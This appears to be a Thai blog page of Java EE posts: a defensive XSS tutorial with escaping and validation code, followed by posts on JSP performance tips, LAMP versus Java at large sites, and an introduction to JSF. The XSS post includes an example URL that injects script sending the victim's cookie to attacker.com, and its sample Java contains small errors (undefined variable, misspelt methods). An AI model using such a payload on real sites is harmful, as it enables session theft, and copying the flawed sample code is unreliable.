go to http://oracle.in.th
Showing posts with label java ee. Show all posts
Showing posts with label java ee. Show all posts

Wednesday, May 5, 2010

Security-driven design #1 - XSS

    เมื่อได้รับมอบหมายงานมาชิ้นหนึ่งเรามักมองแต่ภาพว่าทำอย่างไรให้งานมันออกมาให้ได้จะใช้เทคโนโลยีอะไร? จะใช้เทคนิคไหน? แต่สิ่งที่มักมองข้ามไปคือทำอย่างไรให้งานมันออกมาปลอดภัยต่อผู้ใช้ด้วย เพื่อลดผลกระทบที่จะตามมา ระดับความรุนแรงของผลที่เกิดขึ้นทั้งหมดขึ้นอยู่กับ business logic ที่ผลกระทบวิ่งไปถึง โดยการวิเคราะห์ให้คะแนนความเสี่ยงศึกษาได้จาก http://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
    การมองเรื่องความปลอดภัยของ Web application เป็นเรื่องที่สำคัญ ในมุมนักพัฒนาคงไม่อาจบอกได้ว่ามันมี best pratice ที่จะจัดการทุกประเด็นที่เป็นจุดเสี่ยงจึงอาจบอกได้ว่า no silver bullet แต่ที่จะทำคือพยายามลดจุดอ่อนออกไปให้เหลือน้อยที่สุด และมันคงไม่สามารถทำให้สำเร็จได้ด้วยการให้ความสำคัญเพียงแต่การ coding เพราะถึงมี best pratice ดีแค่ไหนแต่มันก็เป็นเพียงการแก้ไขที่ปลายเหตุ เราควรมองและให้ความสำคัญมันตั้งแต่เริ่มต้นโปรเจค และใส่มันให้เป็นหนึ่งสิ่งที่จะต้องทำให้สำเร็จให้ได้ 
    ถ้าเราให้ความสำคัญกับความปลอดภัยและขับเคลื่อนมันไปตั้งแต่เริ่มโปรเจคก็จะเป็นไปตามภาพดังนี้ (ภาพนี้ไม่ได้ตายตัว ยืดหยุ่นได้ตามสภาพแวดล้อมการทำงาน)
  • Requirement
    • Regulations
    • Industry best practices
    • Business requirement
  • Architecture & Design
    • Architecture Blueprint
      • Application components
      • Entry / Exit points
      • External interface
      • Data flow
    • Threat Modeling
  • Implementation
    • Secure coding practices
  • Testing & Deployment
    • Penetration testing 
    • Security assessment
    • Secure coding practices also involve in the testing stage
  • Operation & Maintenance
    • Security monitoring
    • Recurring assessment
ในปีที่ผ่านมาจุดอ่อนที่มักถูกโจมตีดังนี้ 
  • Injection
  • Cross-Site Scripting (XSS)
  • Broken Authentication and Session Management
  • Insecure Direct Object References
  • Cross-Site Request Forgery (CSRF)
  • Security Misconfiguration
  • Failure to Restrict URL Access
  • Invalidated Redirects and Forwards
  • Insecure Crytographic Storage
  • Insufficient Transport Layer protection
แต่ผมจะพูดถึงจุดอ่อนที่พบกันมากที่สุด

Cross-Site Scripting
เป็นจุดอ่อนที่ส่งผลกระทบต่อผู้ใช้ web application เป็นจุดอ่อนที่เกิดขึ้นจากความไม่รอบคอบในขั้นตอนการ implement ส่งผลให้ผู้ไม่หวังดีสามารถ execute script บน browser ในฝั่งของผู้ใช้ได้ โดย script ดังนี้กล่าวจะถูกฉีคเข้ามาเพื่อไป execute บน browser ฝั่งผู้ใช้
XSS แบ่งได้เป็น 2 ประเภทตามวิธีที่ script ถูกส่งไปให้เหยื่อ
  • Persistent XSS ผู้ไม่ประสงค์ดีสามารถส่ง script เข้าไปใน persistent storage เช่น database, file เมื่อผู้ใช้เข้าหน้าเวบที่ดึงข้อมูลใน persistent storage ดังกล่าวมาแสดง browser ก็จะ execute script นั้นโดยอัตโนมัติ
  • Non-perssitent XSS คือ script ที่เป็นอันตรายไม่ได้ถูกเก็บลงใน web page หรือใน database ผู้โจมตีฉีค script เหล่านี้เข้ามาผ่นทาง URL ได้แล้ว execute script บน browser ของผู้ใช้ทั่วไปได้
ระดับความรุนแรงจะขึ้นอยู่กับ script ที่ผู้โจมตีเขียนขึ้นมาแต่โดยทั่วไปจะถูกกระทำดังนี้
  • ขโมยข้อมูลส่วนตัว เช่น sessionID (cookie) หรือ browser history
  • Redirect ไปยัง website ที่ผู้โจมตีเขียนขึ้นมารอไว้
  • Compromise the operating system หรือ cause the Denial-of-Service (DoS)
  • ใช้ browser ของเหยื่อเป็น backdoor เพื่อเข้าไปโจมตีเครื่องอื่นต่อไป
ตัวอย่าง code ที่มีช่องโหว่
<%
  out.write("Message: " + request.getParameter("msg"));
%>
แล้วผู้ไม่หวังดีก็ใช้ url ลักษณะนี้เพื่อส่ง javascript เข้ามาทาง parameter
http://www.xxx.com/admin/message.jsp?msg=blah<script>document.location='http://www.attacker.com/cookie.cgi?'%20%2Bdocument.cookie</script>
แนวทางการป้องกัน
สามารถป้องกันได้สองวิธีคือ
  1. Output escaping strategy
  2. Input Validation strategy
Note:
Escaping เป็นเทคนิคที่ใช้เพื่อให้แน่ใจว่าข้อมูลผ่านการตรวจสอบแล้ว ไม่ใช่ข้อมูลที่ถูกนำไป interpreter ต่อได้ ซึ่งมีหลายเทคนิค (บางครั้งเราเรียกว่า endoding) โดยมีจุดประสงค์ที่แท้จริงคือเพื่อให้แน่ใจว่าข้อมูลที่ไม่ถูกต้องจะไม่สามารถถูกส่งเข้ามาเพื่อโจมตีได้ 
ตารางข้างล่างเป็นตัวอย่างของตัวอักษรที่ควรจะถูกขัดขวาง
CharacterHTML Named EntityHTML Hexadecimal Entity
&&amp;&#x26;
<&lt;&#x3c;
>&gt;&#x3e;
"&quot;&#x22;
'N/A (&apos; is not recommended)&#x27;
/&sol;&#x2f;
การ escape มีสองวิธีคือ
  • html named entity เป็นตัวอักษรที่สอดคล้องกับชื่อ ที่ซึ่งได้กำหนดไว้ในมาตรฐาน HTML 4 ในรูปแบบ &name;
  • html hexadecimal entity เป็นตัวอักษรที่แสดงเป็นเลขฐาน 16 ในรูปแบบ &#xHHHH;

Output escaping strategy
script ที่เป็นอันตรามักจะถูกฉีคเข้ามายังจุดที่อ่อนแอที่สุดในหน้าเว็บนั้น ซึ่งมันจะมีแตกต่างกันไปตามแต่ละส่วนของ html page ซึ่งจุดดังกล่าวได้แก่
  • html element content
    • จุดอ่อนแอที่อยู่ในส่วนของ HTML body ทั้งหมดเช่น <body>, <div>, <td> ...
  • html common attribute
    • เช่น <div attr=... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ...></div>
  • html javascript data value
    • เช่น <script> alert(' ... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ... ') </script>
  • html style property value
    • เช่น <style> selector{ property: ... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ...} </style>
  • html url parameter value
    • เช่น <a href="http://www.xxx.com?test=... ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE ..."></a>
ตัวอย่าง escape function
<html>
<body>
<%
  String username = request.getParameter("name");
  out.write("Hello, " + htmlEntityEncode(username));
%>
</body>
</html>
Guideline function input escape
public static String htmlEntityEncode( String s ){
       StringBuilder buf = new StringBuilder(s.length());
       for ( int i = 0; i < len; i++ ){
           char c = s.charAt( i );
           if ( c>='a' && c<='z' || c>='A' && c<='Z' || c>='0' && c<='9' ) {
               buf.append( c );
           }
           else {
               buf.append("&#").append((int)c).append(";");
           }
       }
       return buf.toString();
}
ลองดูแบบอื่นๆ ได้ที่ http://www.owasp.org/index.php/How_to_perform_HTML_entity_encoding_in_Java
หรือตัวอย่างการสร้าง HttpServletRequestWrapper ขึ้นมาเอง  http://www.owasp.org/index.php/How_to_add_validation_logic_to_HttpServletRequest
API อื่นๆ
ตัวอย่างการใช้งาน ESAPI
String safe = ESAPI.encoder().encodeForHTML(request.getParameter("input"));
นอกจากนี้ยังมีอีกวิธีที่ช่วยลดจุดอ่อนลงได้คือการใช้ HTTPOnly cookie flag http://phamonyut.blogspot.com/2010/05/cookie-httponly-flag.html

Input Validation strategy
เป็นการ filter ข้อมูลที่รับเข้ามาจากผู้ใช้งาน ซึ่งการร้บข้อมูลแต่ละจุดจะมีการกำหนดว่ากรอกได้ตาม format อะไรบ้างตาม white-list ที่ออกแบบไว้ และก็มี blacklist ที่บอกว่าข้อมูลแบบไหนที่ไม่ควรนำเข้าระบบ แต่มันก็ไม่ได้ออกแบบไว้ให้เราทั้งหมด ดังนั้นจำเป็นต้องออกแบบเพิ่มเติมกันเองด้วย
กลุ่มข้อมูล input ที่จะเกี่ยวข้องกับ business logic
Field NameData TypeLengthSpecific Requirement
firstnameString1-20a-z, A-Z
lastnameString1-40a-z, A-Z
emailString8-50a-z, A-Z, 0-9, ., @
usernameString6-10a-z, A-Z, 0-9
passwordString8-30a-z, A-Z, 0-9, !, @, #, $
zipInteger50-9
notifyString2-3'Yes', 'No'
guideline function validate firstname ที่ใช้ regex
public boolean validateFirstname() {
boolean allOk = true;
if ("".equals(firstname)) {
  error.put("firstname", "please enter your firstname");
  firstname = "";
  allOk = false;
} else {
  Pattern p = Pattern.compile("^[\da-zA-Z]{1,20}$");
  Matcher m = p.matcher(firstname);
  if (!m.matchers()) {
    errros.put("firstname", "firstname must contains character A-Z, a-z and has length between 1 to 20 only");
    firstname = "";
    allOk = false;
  }
}
return allOk;
}

Credit by Phamonyut
ข้อเขียนนี้ช่วยฉัน:  

Friday, January 8, 2010

6 วิธีง่าย ๆ ที่ทำให้ Java EE เร็วขึ้น

Java
วันก่อนเขียนเรื่องการ Tuning Javascript มีคนมาถามผมว่าเราจะมีการเพิ่ม performance ให้กับ JSP อย่างไร ผมจึงนำ trick เหล่านี้มาฝากครับ
  1. ใช้ HttpSession.invalidate() เพื่อที่จะใช้ clean session เนื่องจากว่าบางครั้ง session ที่เราจองไว้นั้นถ้าหากไม่มีการใช้นานๆ ก็จะเปลืองหน่วยความจำ ดังนั้นเราจึงควรที่จะ clean session ที่ไม่ได้ใช้คืนหน่วยความจำ
  2. ในหน้าของ JSP ใดที่ไม่มีการใช้ session เพื่อเป็นการประหยัดทรัพยากรของเครื่อง Application Server เราจึงควรที่จะบอกมันไว้ว่า เราไม่มีการใช้ session ในหน้า page นี้
  3. ให้เรา Implement HttpSessionBindingListener สำหรับ bean ทุกตัวที่มี scope อยู่ใน session เพื่อที่จะให้ bean นั้น สามารถคืนทรัพยากรให้กับระบบได้โดยการใช้ method valueUnbound() เมื่อไม่มีการใช้ bean นั้นแล้ว
  4. เราควรที่จะตั้งค่า session timeout ให้เร็วขึ้น เพื่อที่จะได้คืนทรัพยากรให้กับระบบได้เร็วขึ้น เราจะตั้งค่านี้ผ่าน method session.setMaxInactiveInterval() ส่วนค่าที่เหมาะสมควรเป็นเท่าใด นักพัฒนาที่คลุกคลีกับระบบนั้น ๆ น่าจะเป็นคนที่รู้ดีที่สุด
  5. ให้พยายามใช้ที่จะใช้ include directive เช่น ในทุกที่ที่เป็นไปได้ เพราะมันจะทำงานตอน compile time แต่ถ้าใช้ jsp:include จะทำงานตอน run time ครับ
  6. พยายามใช้ cache tagging ในทุกที่ที่เป็นไปได้ครับ cache tagging จะทำหน้าที่เก็บ tag ที่ compile จาก JSP file เสร็จแล้ว เมื่อมีการเรียกใช้ในส่วนนั้นก็ไม่ต้อง compile ใหม่ สามารถดึงมาจาก cache นำไปใช้งานได้เลย รายละเอียดการทำ cache จะนำมาต่อตอนหน้าครับ

ที่มา : J2EE Performance Tuning Tips, James McGovern, Java Developers Journal

Credited by Prahs
ข้อเขียนนี้ช่วยฉัน:  

Monday, January 4, 2010

ทำไมเว็บไซต์ใหญ่ ๆ หลายแห่ง ถึงไม่เขียนด้วยภาษา java


ผมอ่านมาจาก Nati Shalom's Blog จึงเห็นว่าน่าสนใจดีเลยจะนำมาเล่าให้ฟังกัน

นี้เป็นข้อมูลคร่าวๆว่า เว็บไซต์ดังๆหลายแห่งเช่น Firckr, YouTube, MySpace ... เค้าออกแบบระบบกันอย่างไรใช้ Technology อะไรกันบ้าง ซึ่งสรุปได้คร่าวๆดังนี้

OS: Linux 7 - Windows 2
Web server: Apache 7 - IIS 2 - Lighttpd 2
Scripting: PHP 4 - Perl 4 - ASP.NET 2 - Python 1 - Java 1
Database: MySQL 7 - SQL Server 1 (possibly 2)

ตัวเลขข้างหลังหมายถึงจำนวนที่ web ในตารางใช้

แน่นอนว่าเว็บไซต์เหล่านี้ต้องมีระบบขนาดใหญ่ มีความเสถียรภาพสูง เค้าทำกันอย่างไร เพื่อรองรับจำนวน transaction เป็นล้าน ๆ ต่อวัน

ส่วนใหญ่ใช้ LAMP (Linux, Apache, MySQL, PHP) กันเยอะ แต่ก็จะมีบ้างที่พัฒนา file system ขึ้นมาเองเช่น GFS ของ Google

บางที่ใช้ cache เพื่อช่วยแก้ปัญหาคอขวดของ database
และบางที่ก็แก้ปัญหาด้วยวิธีที่พัฒนาขึ้นมาเอง แต่ละแห่งก็ใช้วิธีที่ต่างกัน

แต่ที่สงสัยคือทั้งที่ Architecture J2EE ถูกออกแบบมาเพื่อระบบขนาดใหญ่ แต่ทำไมไม่มีใครนำไปใช้??

เท่าทีอ่านดู Nati Shalom สรุปใจความได้ว่า ถ้าใช้ LAMP ในการพัฒนาระบบ ไม่ต้องกังวลเรื่องของค่าใช้จ่ายเกี่ยวกับ software

และ LAMP เสถียรพอสมควรเลยทีเดียว แต่นี้เป็นเพียงความเห็นส่วนตัวของ Nati Shalom แล้วผู้อ่านคิดว่ายังไงกันบ้างครับ

Reference
Credited by tofu
ข้อเขียนนี้ช่วยฉัน:  

Sunday, January 3, 2010

JSF คืออะไร? ทำไมต้อง JSF

ถ้าคุณจำเป็นต้องตัดสินใจเลือกว่าจะใช้กรรมวิธีใดในการพัฒนา Web Base Application ขึ้นมาในปัจจุบัน...
คุณจะเลือกอะไรดี ระหว่าง 2 กรรมวิธี ที่กำลังเป็นที่นิยมอยู่ คือ

1. พัฒนาแบบเร่งด่วน (Rapid development)

เป็นการใช้เครื่องมือในการพัฒนาที่เห็นภาพ (Visual Development) มาใช้ในการสร้างระบบ ตัวอย่างของกรรมวิธีแบบนี้ ที่นิยมก็คือการพัฒนาของค่าย Microsoft เช่น ASP.NET เป็นต้น

2. เน้นเขียนโค้ดเองเป็นหลัก (Hard core coding)
คือการที่เราเป็นคนเขียนโค้ดเองซะเป็นส่วนใหญ่ เพื่อที่จะได้สามารถควบคุมและจัดการ environment เกือบทั้งหมด สิ่งที่จะได้มาก็คือประสิทธิภาพที่ดียิ่งขึ้นของระบบนั้น ๆ เช่น การเชื่อมต่อกับฐานข้อมูล, การทำ Connection Pool เป็นต้น ลักษณะของกรรมวิธีแบบนี้ที่เราคุ้นเคย ก็คือ Java EE (Java Enterprise Edition) นั่นเอง

ทั้งสองอย่างที่กล่าวมาต่างก็มีข้อดี ข้อเสียอยู่ในตัว
ถ้าเราเลือก Java EE, นักพัฒนาก็จะต้องคอยควบคุมทุก ๆ อย่างเอง
และบางครั้งก็เป็นเรื่องหน้าเบื่อ ที่ต้องมาเขียนโค้ดขึ้นกับมือเองทั้งหมด

แต่ถ้าเราเลือกที่จะใช้ ASP.Net ล่ะ?
ข้อดีที่จะได้ก็คือ เราจะสามารถออกแบบและพัฒนาระบบได้ง่ายขึ้นมาก
แต่ข้อเสียก็คือ เราจะควบคุม Environment ต่าง ๆ ได้ยากขึ้น
เพราะเครื่องมือนั้น ๆ ไม่ได้เปิดช่องทางเอาไว้ให้เรามากพอ

จากที่ได้กล่าวมา, Sun Microsystem จึงได้ออก Framework ที่ชื่อ JSF, Java ServerFace ขึ้นมา
เพื่อที่จะประสานข้อดีของรูปแบบการพัฒนา Web Application ทั้งสองอย่างเข้ามาไว้ด้วยกัน

โดยนักพัฒนาที่คุ้นเคยกับการเขียนโปรแกรมฝั่ง Client, เช่น Swing, AWT, หรือ SWT ของ IBM
ก็จะมองว่าการพัฒนาด้วย JSF นั้น ก็มีรูปแบบที่คล้างคลึงกัน

แต่ถ้าหากนักพัฒนามีความชำนาญ JSF มากขึ้น
ก็จะพบว่า JSF นั้นยืดหยุ่นกว่าที่คิด เพราะว่า JSF ได้เปิดช่องให้เราสามารถเข้าไปออกแบบ JSF Tag ขึ้นมาใช้งานเองได้อีกด้วย จะทำให้เราสามารถประยุกต์มาใช้งานได้มีประสิทธิภาพยิ่ง ๆ ขึ้น

และยิ่งไปกว่านั้นคนที่คุ้นเคยกับ Servlet กับ JSP มาก่อน
ก็สามารถมองได้ว่า Servlet กับ JSP เปรียบเสมือนเป็น Assembly Language
ที่อยู่เบื้องหลังของ Framework JSF นั่นเอง

Reference : Prentice Hall Core JavaServer Faces 2nd

บทความที่เกี่ยวข้อง

Credited by Prahs
ข้อเขียนนี้ช่วยฉัน: